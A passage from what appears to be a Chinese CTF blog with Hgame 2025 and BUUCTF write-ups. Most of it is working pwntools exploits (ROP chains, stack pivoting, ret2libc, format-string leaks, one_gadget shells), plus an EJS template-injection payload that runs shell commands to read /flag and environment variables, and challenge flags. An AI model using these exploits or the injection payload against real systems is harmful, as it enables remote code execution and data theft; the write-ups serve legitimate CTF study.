系统调用并读取flag payload = p64(0) + p64(rax) + p64(2) + p64(rdi) + p64(bss + 192) + p64(rsi) + p64(0) + p64(syscall) + p64(rdi) + p64(4) + p64(rsi) + p64(bss) + p64(rdx_r12) + p64(0x50) + p64(20) + p64(read_plt) + p64(rdi) + p64(4) + p64(rsi) + p64(bss) + p64(rdx_r12) + p64(0x50) + p64(20) + p64(write_plt) + b"/flag"

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("")
io=remote("127.0.0.1",9999)
#db.attach(io)
#io=remote("node1.hgame.vidar.club",30095)

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()

elf=ELF('./vuln')
libc=ELF("./libc-2.31.so")

read_plt = elf.plt["read"]
write_plt = elf.plt["write"]
write_got =elf.got["write"]

bss = elf.bss() + 0x600
rdi = 0x401713
rsi_r15 = 0x401711
rsp_r13_r14_r15 = 0x40170d
leave_ret = 0x401426
ret = 0x40101a
printf = 0x4013E8
vuln = 0x4013D5

start = 0x401290
payload = b'a'*80+p64(bss)+p64(vuln) ##填充栈并填充bss地址
ru(b"luck.\n")
se(payload)

payload =p64(bss+0x50)+p64(rsi_r15)+p64(write_got)+p64(1)+p64(write_plt)+p64(rsi_r15)+p64(bss)+p64(bss)+p64(read_plt)+p64(ret)+p64(bss-0x50)+p64(leave_ret) #填充寄存器并迁移到bss段
se(payload)
ru(b"luck.\n")

libc_base = u64(io.recv(6).ljust(8, b'\x00')) - int("0x10e280",16)
print(hex(libc_base))
bss = bss+0x50
rdx_r12 = libc_base + 0x119431 #pop rdx
syscall = libc_base+0x25DC2 #第一个syscall
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()

payload = p64(rdi)+p64(4)+p64(rsi)+p64(bss-
0x200)+p64(rdx_r12)+p64(0x200)+p64(0x200)+p64(
read_plt)+p64(leave_ret)+p64(leave_ret)+p64(bss-
0x200)+p64(leave_ret) #栈迁移
se(payload)

bss = bss-0x200 #开辟bss空间
payload = p64(0)+p64(rax)+p64(2)+p64(rdi)+p64(bss+192)+p64(rsi)+p64(0)+p64(
syscall)+p64(rdi)+p64(5)+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x50)+p64(20)+p64(
read_plt)+p64(rdi)+p64(4)+p64(rsi)+p64(bss)+p64(
rdx_r12)+p64(0x50)+p64(20)+p64(write_plt)+b"/flag\x00"
se(payload)

io.interactive()

hgame{ThlS-1S-4_v3rY_E@5Y-St4ck_Pwn11a9bd4}
ξ( ✿＞◡❛) There is an obvious stack overflow here.

Hgame2025_week1 Format

Sat, 15 Feb 2025 00:53:00 +0000

format

解析

保护名字都叫format了大概是格式化字符串, 看IDA

但是vuln中限制了溢出长度这里考虑到了unsigned int和int的转化的区别，前面通过写溢出值绕过buf长度限制

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

libc=ELF('./libc.so.6')
elf=ELF('./vuln')
io=process('./vuln')
#io=remote("node1.hgame.vidar.club",31933)
gdb.attach(io)

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()


sl(b"1")
sl(b"%p") #变量空间正好，可以直接泄露栈地址
ru(b"type: ")
stack = int(rc(14), 16)
print(hex(stack))
sl(b"-1145141919") #绕过长度限制

vuln = 0x4011D9
printf = 0x4012CF
rbp = stack + int("0x2110",16) #迁移rbp
print(hex(rbp))

payload = b"a"*5+p64(rbp+0x60)+p64(vuln) #栈迁移
sl(payload)

payload =b"a"*4+p64(rbp+0x90)+p64(printf)+p64(0)+p64(0)+b"%17$p\x84\x84\x84"+p64(0)+p64(rbp)+p64(0x4011D0)
#前4个是因为最后的ret会将rsp向下走8位
#%17$p是格式化字符串泄露的format，将其调大使得溢出空间充足
sl(payload)

ru(b"type something:")


libc_base = int(rc(14),16) - int("0x29e40",16)
print(hex(libc_base))
pop_rdi_addr = libc_base+libc.search(asm("pop rdi; ret")).__next__()
system_addr=libc_base+libc.symbols["system"]
binsh_addr=libc_base+next(libc.search(b"/bin/sh"))
ret=0x4011EF
#ret2libc

payload =p64(0)+b"a"*4+p64(ret)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
sl(payload)

io.interactive()

#VIDAR{Care1ess_pr1ntf}

参考文章1 栈迁移详解

VIDAR{Care1ess_pr1ntf}

可能栈平衡没调好，一开始本地没确定能不能打通直接段错误退出了，但是远程是可以打通的，可能和libc版本有关？

Hgame2025_week1 剩余题解

Tue, 11 Feb 2025 14:46:00 +0000

解出总计10题

hgame week1 wp

misc

Hakuya Want A Girl Friend

下载得到一个hky.txt 打开一看有一大堆的十六进制文本，放到010editor中后导出文件，然后放到随波逐流

提取出一个压缩包，刚打开时显示已损坏但是还可以继续查看，那么压缩文件是没问题的

然后我在010editor中疯狂找密码找不出来，还傻乎乎地去锤出题人后来发现结尾是0A 1A 0A 0D 47 4E 50 89，反过来就是png文件的头，把压缩包部分删去后反转一下附上反转脚本:

反转脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


def reverse_hex_file(input_file, output_file):
 with open(input_file, 'rb') as f:
 data = f.read()

 reversed_data = data[::-1]

 with open(output_file, 'wb') as f:
 f.write(reversed_data)

# 使用示例
reverse_hex_file(r"E:\CTF\Hgame\misc\hakuya\1", 'fixed_png.png')

得到一张png图片，看了看没什么其他信息后应该是改宽高了，放随波逐流

我刚开始还以为解压密码是hakuya的QQ号，但是不对，那么应该就是里面的这个密码解压，得到flag hgame{h4kyu4_w4nt_gir1f3nd_+q_931290928}

Level 314 线性走廊中的双生实体

呃呃下载得到一个entity.pt文件，不知道是什么东西， 010editor看一下

发现一大堆pk，放到随波逐流里解压试试

提取出来一个model？还是不知道是什么东西，上网搜一下
在这篇文章找到了类似的东西 so——.pt文件就是PyTorch框架的模型保存格式，其中会保存PyTorch模型的结构和参数，以便后续加载并使用这些模型来推理和训练
那么按照题目意思来说的话，我们首先要加载模型

1
2


model_path = r'E:\CTF\Hgame\misc\level_314\entity.pt' # 请替换为实际路径
model = torch.jit.load(model_path)

然后我们要给模型输入一组张量，尝试激活得到输出消息，那么张量的值要怎么确定？, 考虑到题目中的确保稳定态，我们到调用的__torch__.py中看一看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


 def forward(self: __torch__.SecurityLayer,
 x: Tensor) -> Tensor:
 _0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004), 1.0000000000000001e-05, 0.0001)
 if _0:
 _1 = annotate(List[str], [])
 flag = self.flag
 for _2 in range(torch.len(flag)):
 b = flag[_2]
 _3 = torch.append(_1, torch.chr(torch.__xor__(b, 85)))
 decoded = torch.join("", _1)
 print("Hidden:", decoded)
 else:
 pass
 if bool(torch.gt(torch.mean(x), 0.5)):
 _4 = annotate(List[str], [])
 fake_flag = self.fake_flag
 for _5 in range(torch.len(fake_flag)):
 c = fake_flag[_5]
 _6 = torch.append(_4, torch.chr(torch.sub(c, 3)))
 decoded0 = torch.join("", _4)
 print("Decoy:", decoded0)
 else:
 pass
 return x

发现这么一个函数，那么我们就可以确定张量的值了，只要使张量的均值限制在0.31415，同时要注意 输入张量的现实稳定系数（atol）必须≤1e-4 系统才会给我们flag的值

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


import torch

# 加载TorchScript模型
model_path = r'E:\CTF\Hgame\misc\level_314\entity.pt' # 请替换为实际路径
model = torch.jit.load(model_path)
model.eval() # 设置为评估模式


input_tensor = torch.randn(1, 10)

# 计算当前均值
current_mean = torch.mean(input_tensor)
print(f"当前均值: {current_mean.item()}")


target_mean = 0.31415000000000004

# 计算需要添加到每个元素上的值
adjustment = target_mean - current_mean

# 调整输入张量，使其均值接近0.31415000000000004
adjusted_input_tensor = input_tensor + adjustment
print(f"调整后的均值: {torch.mean(adjusted_input_tensor).item()}")

atol = 1e-5
output = model(adjusted_input_tensor)

# 输出结果
print("模型输出:", output)

按道理来说应该一次就可以得到了，但是误差控制可能有点小问题，多试了几下出了

1
2
3
4


当前均值: 0.41629067063331604
调整后的均值: 0.31415003538131714
Hidden: flag{s0_th1s_1s_r3al_s3cr3t}
模型输出: tensor([[0.5456]])

flag{s0_th1s_1s_r3al_s3cr3t} 后继：其实题目中周率三分隐玉衡，十方镜界启玄晶诗句的意思就在提醒我们0.314这个参数就是$\Pi$/10

computer cleaner

题目要求有三个:

找到攻击者的webshell连接密码

对攻击者进行简单溯源

排查攻击者目的

先进入虚拟机, 简单翻找一下

flag part3

flag part2 攻击目的就是利用webshell获取flag3

溯源找到ip ip:121.41.34.25

然后我在这卡了半天，我一直以为本地会有记录或者中间部分就是flag，结果。。

直接访问就有中间的flag了

hgame{y0u_hav3_cleaned_th3_c0mput3r!}

web

Level 24 Pacman

送分题

只有前端，肯定不是玩游戏玩到10000分失败一次试试

base64解码+2栏栅栏密码，得到hgame{practice_makes_perfet}，答案不是这个，提交会显示

再观察一下

有两串base64字符串，上面这串就是

hgame{u_4re_pacman_m4ster}

Level 47 BandBomb

解析

下载得到附件app.js，后端代码中翻找

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


app.post('/upload', (req, res) => {
 upload.single('file')(req, res, (err) => {
 if (err) {
 return res.status(400).json({ error: err.message });
 }
 if (!req.file) {
 return res.status(400).json({ error: '没有选择文件' });
 }
 res.json({
 message: '文件上传成功',
 filename: req.file.filename
 });
 });
});

app.post('/rename', (req, res) => {
 const { oldName, newName } = req.body;
 const oldPath = path.join(__dirname, 'uploads', oldName);
 const newPath = path.join(__dirname, 'uploads', newName);

 if (!oldName || !newName) {
 return res.status(400).json({ error: ' ' });
 }

 fs.rename(oldPath, newPath, (err) => {
 if (err) {
 return res.status(500).json({ error: ' ' + err.message });
 }
 res.json({ message: ' ' });
 });
});

一个文件上传一个文件重命名函数，没怎么做过web不是很懂，不过可以通过nodejs布置本地，加上const port=3000, 本地node app.js运行后可以在本地先测试一下

打开靶机看看

~~难绷ave mujica~~
这里可以选择本地文件和上传文件, 问了一下ai这题使用的是express框架 (之前杭助学后端的时候学了一点nodejs)
再回去看一下，/rename并没有对newName进行过滤，所以是不是可以包含路径？并且multer中fileFilter并不会过滤文件类型，上传 可执行脚本的话就会直接解析！！那么就有尝试的思路了
~~但是我不会写web脚本~~将上面的思路喂给deepseek后概括一下

在文件上传的时候，是否可以上传一个带有恶意代码的js文件，并让服务器执行？例如，如果上传的文件被当作Node.js模块加载，但需要特定的条件。或者，通过模板注入，因为应用使用ejs模板引擎。如果攻击者可以控制模板的内容，那么可能进行RCE。
由于文件会渲染mortis模板，所以我们覆盖为mortis.ejs并插入恶意代码执行
渲染后访问首页，触发模板渲染并执行恶意代码 OK思路完全畅通，开始动手

解题

在本地创建一个mortis.ejs文件，由于不知道flag会在哪，于是

1

<%= global.process.mainModule.require('child_process').execSync('cat /flag') %>

先这样尝试一下，然后上传文件之后在apifox中发送请求

目录似乎不对，调整一下

ok成功，但是没有flag，所以应该是藏在了其他地方，或许是环境变量？（pwn题也有类似的题目过）修改一下

1

<%= global.process.mainModule.require('child_process').execSync('cat /proc/self/environ') %>

找到flag

hgame{ave_mUjIC4_h4S-bROKEN-uP-but-we-hAv3-UMlTakI12}

crypto

sieve

解析

两种不同口径的筛子才能筛干净题目主要部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


def trick(k):
 if k > 1:
 mul = prod(range(1,k))
 if k - mul % k - 1 == 0:
 return euler_phi(k) + trick(k-1) + 1
 else:
 return euler_phi(k) + trick(k-1)
 else:
 return 1

e = 65537
p = q = nextprime(trick(e^2//6)<<128)
n = p * q
enc = pow(m,e,n)
print(f'{enc=}')

打开sage文件可以看到使用了euler_phi(k)和trick(k), 一个是欧拉函数，一个是递归函数， e^2//6=715,849,728 n=7e8
考虑两种筛法可能就是要对大数的筛选进行优化这里要考虑如何优化

使用可以同时计算欧拉函数和素数个数的筛法，搜索得到例如线性筛法就可以在o(n)内计算出结果n=7e8时应该不会再很长时间后才能跑出来
分段筛法
寻找能将sum_phi和prime_count结合的高效计算方式

两种不同口径的筛子： >1. 线性筛法：高效计算每个数的欧拉函数 phi(i)，同时标记素数。 >2. 埃拉托斯特尼筛法：用于标记素数，但是不计算欧拉函数。 k - (k-1)! % k - 1 判断素数 trick(k)实际上就是
\[ \text{trick}(k) = \sum_{i=1}^{k} \varphi(i) + \pi(k) \]

我一开始的解法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


from sympy import nextprime
from Crypto.Util.number import inverse, long_to_bytes

def compute_trick(k):
 if k == 0:
 return 0
 # 线性筛法计算欧拉函数和素数
 phi = list(range(k + 1))
 is_prime = [True] * (k + 1)
 primes = []
 sum_phi = 0
 prime_count = 0
 for i in range(2, k + 1):
 if is_prime[i]:
 primes.append(i)
 phi[i] = i - 1
 prime_count += 1
 for p in primes:
 if i * p > k:
 break
 is_prime[i * p] = False
 if i % p == 0:
 phi[i * p] = phi[i] * p
 break
 else:
 phi[i * p] = phi[i] * (p - 1)
 sum_phi = sum(phi[1:]) + 1 # phi[1]=1
 return sum_phi + prime_count

e = 65537
k = (e ** 2) // 6 # k = 715849728

trick_k = compute_trick(k)
shifted_val = trick_k << 128

p = nextprime(shifted_val)
n = p * p

# 私钥d
phi_n = p * (p - 1)
d = inverse(e, phi_n)

enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546

m = pow(enc, d, n)

print("FLAG =", long_to_bytes(m).decode())

遗憾的是在跑了半个小时之后宣告失败了，实际上跑出来是一堆乱码，compute_trick函数计算错误了，线性筛法存储整个数组效率野果低然后思考了一下，想起之前ACM课教的位压缩和优化，顺手问了一下deepseek，优化了一下脚本。思路：

解析题目中的“两种不同孔径的筛子”指的是线性筛法和埃拉托斯特尼筛法，或者欧拉筛法和另一种筛法，用于计算欧拉函数和素数个数。
根据trick函数的逻辑，正确计算trick(k)=sum_phi + prime_count，使用高效的筛法实现。
优化compute_trick函数，使其在Python中能够处理k=7e8，可能使用numpy或其他优化库。
生成正确的p和q，解密得到flag。考虑到时间要求，我们不可能跑所有的trick(k)，并计算p=nextprime(trick(k)«128)去解密。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


from sympy import nextprime, primepi
from Crypto.Util.number import inverse, long_to_bytes

def compute_trick(k):
 # 计算欧拉函数前缀和与素数个数
 sum_phi = 1 # phi(1)=1
 phi = [0] * (k + 1)
 phi[1] = 1
 primes = []
 min_prime = [0] * (k + 1)

 for i in range(2, k + 1):
 if min_prime[i] == 0:
 primes.append(i)
 min_prime[i] = i
 phi[i] = i - 1
 else:
 p = min_prime[i]
 j = i // p
 if min_prime[j] == p:
 phi[i] = phi[j] * p
 else:
 phi[i] = phi[j] * (p - 1)
 sum_phi += phi[i]
 for p in primes:
 if p > min_prime[i] or i * p > k:
 break
 min_prime[i * p] = p

 prime_count = primepi(k) # 使用 sympy 的高效素数计数
 return sum_phi + prime_count

# 参数设置
e = 65537
k = (e ** 2) // 6

# 计算 trick(k)
print("Calculating trick(k)...")
trick_k = compute_trick(k)
print(f"trick(k) = {trick_k}")

# 生成 p 和 q
shifted_val = trick_k << 128
p = nextprime(shifted_val)
n = p * p


phi_n = p * (p - 1)
d = inverse(e, phi_n)


enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546
m = pow(enc, d, n)

flag = long_to_bytes(m).decode()
if flag.startswith("hgame{"):
 print(f"FLAG = {flag}")
else:
 print("Decrypted message is not in flag format.")

hgame{sieve_is_n0t_that_HArd}

re

COMPRESS_DOT_NEW

下载解压得到两个文件,enc_txt一大堆数据文本看不懂还有一个compress.nu文件，也不知道是什么，搜索一下找到nushell这样一个终端

NUSHELL解决 compress.nu脚本定义了一系列函数，用于构建Huffman树、生成编码表、以及进行数据压缩。

into b：将输入转换为字节数组。
gss 和 gw：用于从树节点中提取字符和权重。
oi：插入节点到有序列表中。
h：构建Huffman树。
gc：生成字符到编码的映射表。
sk：简化树结构。
bf：计算字符频率。
enc：使用编码表对输入数据进行编码。下载完之后

1
2


source compress.nu
open enc.txt --raw | into json | each {|x| $x.a} | compress

就可以了（一开始nu命令用不了就做不出来）

脚本解决 enc.txt中的前半部分是一个JSON树结构，后半部分是二进制数据先把前半部分提取出来例如

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


{
 "a": {
 "a": {
 "a": {
 "s": 125
 },
 "b": {
 "s": 119
 }
 },
 "b": {
 "s": 123
 }
 },
 "b": {
 "s": 104
 }
}

两个根a和b 那么各个路径为：

字符125的路径是 a -> a -> a，编码为 000。
字符119的路径是 a -> a -> b，编码为 001。
字符123的路径是 a -> b，编码为 01。
字符104的路径是 b，编码为 1。

问了下AI如何将这个数和二进制数据对应起来答案是生成和遍历一个Huffman树(死去的算法记忆开始攻击我) 找了半天找到了一个可以改了改可的解析脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


import json
# 从enc.txt中解析出Huffman树
def parse_tree(node, code='', code_table={}):
 if 's' in node:
 code_table[node['s']] = code
 else:
 if 'a' in node:
 parse_tree(node['a'], code + '0', code_table)
 if 'b' in node:
 parse_tree(node['b'], code + '1', code_table)
 return code_table

# 解码二进制数据
def decode_binary(binary_str, code_table):
 reverse_code_table = {v: k for k, v in code_table.items()}
 decoded_text = ''
 current_code = ''
 for bit in binary_str:
 current_code += bit
 if current_code in reverse_code_table:
 decoded_text += chr(reverse_code_table[current_code])
 current_code = ''
 return decoded_text

def main():
 # 读取enc.txt文件
 with open(r"E:\CTF\Hgame\re\COMPRESS_DOT_NEW\enc.txt", 'r') as file:
 content = file.read().split('\n') #分割成两组数据
 json_tree = json.loads(content[0])
 binary_str = content[1]

 # 构建编码表
 code_table = parse_tree(json_tree)

 # 解码二进制数据
 decoded_text = decode_binary(binary_str, code_table)

 # 输出解码结果
 print(decoded_text)

if __name__ == "__main__":
 main()

hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}

turtle

解析

下载得到附件，

exeinfo看有upx魔改头

010editor看一下，魔改upx头了而且改了很多，所以学了一下用x64dbg手动脱壳

x64dbg打开,f9继续到程序开始处

这里可以看到许多寄存器进行入栈，那么在pop的时候会一并执行，而出栈顺序是反过来的，所以我们ctrl+f搜索pop rbp，找到真正进入点

f7单步进入，然后scylla手动脱壳后dump后

可以正常IDA打开了

分析以后上面要注意一点v7和v8数组其实是用于连续存储的数据，改为v7[7]字节数组应该为：0xCD, 0x8F, 0x25, 0x3D, 0xE1, 0x51, 0x4A，对应v7[0]-v7[7], 后面进行了RC4加密，密钥是yekyek

最后根据加密部分逆向写解密脚本即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


def decrypt_flag(ciphertext_flag, key):
 # KSA初始化S盒
 S = list(range(256))
 j = 0
 for i in range(256):
 j = (j + S[i] + key[i % len(key)]) % 256
 S[i], S[j] = S[j], S[i]

 # PRGA生成密钥流并解密（这里要反向使用加法）
 i = j = 0
 keystream = []
 for _ in range(len(ciphertext_flag)):
 i = (i + 1) % 256
 j = (j + S[i]) % 256
 S[i], S[j] = S[j], S[i]
 k = S[(S[i] + S[j]) % 256]
 keystream.append(k)

 # 加法解密Flag
 plaintext_flag = bytes([(c + k) % 256 for c, k in zip(ciphertext_flag, keystream)])
 return plaintext_flag


decrypted_key = b'ecg4ab6'
print(f"Decrypted Key: {decrypted_key}")

# 解密Flag
flag_cipher = bytes([
 0xF8, 0xD5, 0x62, 0xCF, 0x43, 0xBA, 0xC2, 0x23, 0x15, 0x4A,
 0x51, 0x10, 0x27, 0x10, 0xB1, 0xCF, 0xC4, 0x09, 0xFE, 0xE3,
 0x9F, 0x49, 0x87, 0xEA, 0x59, 0xC2, 0x07, 0x3B, 0xA9, 0x11,
 0xC1, 0xBC, 0xFD, 0x4B, 0x57, 0xC4, 0x7E, 0xD0, 0xAA, 0x0A
])
print(f"Flag Cipher: {flag_cipher}")
decrypted_flag = decrypt_flag(flag_cipher, decrypted_key)
print(f"Decrypted Flag: {decrypted_flag}")
#Decrypted Flag: b"hgame{Y0u'r3_re4l1y_g3t_0Ut_of_th3_upX!}"

hgame{Y0u’r3_re4l1y_g3t_0Ut_of_th3_upX!}

pwn

见博客中Hgame2025其他文章

game_pwn_sieve

Thu, 30 Jan 2025 20:48:00 +0000

[BJDCTF 2nd]r2t3 ——比较好的考察了整数溢出

我们可以表示的长度实际上还可以是 255+4~~255+7 即 259~~262

返回地址与dest距离0x11+0x4=0x15

也可以这么算

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./r2t3")
#gdb.attach(io)
io=remote("node5.buuoj.cn",26815)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

sh_addr=0x0804858B
payload=cyclic(0x15)+p32(sh_addr)+cyclic(262-0x15-4)
sla("name:",payload)
io.interactive()

[BJDCTF 2nd]one_gadget one_gadget工具使用下的ret2libc

保护全开本题实际上是想让我们使用one_gadget来直接获取shell

init中泄露printf的地址可以获取libc 而one_gadget列出了一系列可用execve(/bin/sh)的gadget，但是我们要注意call的时候寄存器的值是否符合限制要求(当然你也可以列举测试)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./one_gadget")
#io=remote("node5.buuoj.cn",28965)
elf=ELF("./one_gadget")
libc=ELF('./libc-2.29.so')
gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

ru("0x")
print_addr=int(rc(12),16)
log.success("print_addr:"+hex(print_addr))

libc_base=print_addr-libc.symbols['printf']

one_gadget=[0xe21ce,0xe21d1,0xe21d4,0xe2383,0x106ef8]
bin_sh=libc_base+one_gadget[4]
ru('Give me your one gadget:')
#pause()
sl(str(bin_sh))

io.interactive()

get_started_3dsctf_2016——后门函数特殊处理完成flag打印

保护开了NX

可栈溢出

我们需要的函数,a1,a2值符合可以输出flag，函数参数我们传入就行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
io=remote("node5.buuoj.cn",26015)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

exit_addr=elf.symbols["exit"]
get_flag=elf.symbols["get_flag"]

payload=cyclic(56)+p32(get_flag)+p32(exit_addr)+p32(814536271)+p32(425138641)
se(payload)

io.interactive()

[OGeek2019]babyrop——截断符绕过的strncmp

main函数保护开了full relro和NX

sub_804871f

第二个函数

主函数生成一个随机数作为参数传入第一个函数，然后再执行第二个函数我们要将sub_804871f中buf[7]覆盖掉，使其尽量大，然后栈溢出执行rop 绕过:strncmp在相同时返回0，但是随机数无法判断所以我们使buf首位为’\x00' buf[7]要大于240才行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
io=remote("node5.buuoj.cn",29393)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

payload='\x00'+'\xff'*7
sl(payload)
io.recv()

ret=0x08048502
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main_addr=0x08048825
payload=cyclic(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
# 调用write函数，1并返回到main，对应的三个参数为1，write_got，4，写，4个字节的got地址
se(payload)
write_addr=u32(rc(4))
log.success("write_addr:"+hex(write_addr))
libc_base=write_addr-libc.symbols["write"]
system=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search(b"/bin/sh\x00").__next__()

payload='\x00'+'\xff'*7
sl(payload)
io.recv()
payload=cyclic(0xe7+4)+p32(system)+p32(114514)+p32(binsh)
sl(payload)
io.interactive()

ciscn_2019_ne_5——strcpy导致的栈溢出

strcpy导致了栈溢出 system后的返回地址不能放0，否则不会继续复制

main中s1给48字节，可溢出，getflag就可以直接getshell /bin/sh没找到，–string “sh"拿到shell地址

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")
elf=ELF("./1")
io=remote("node5.buuoj.cn",25680)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
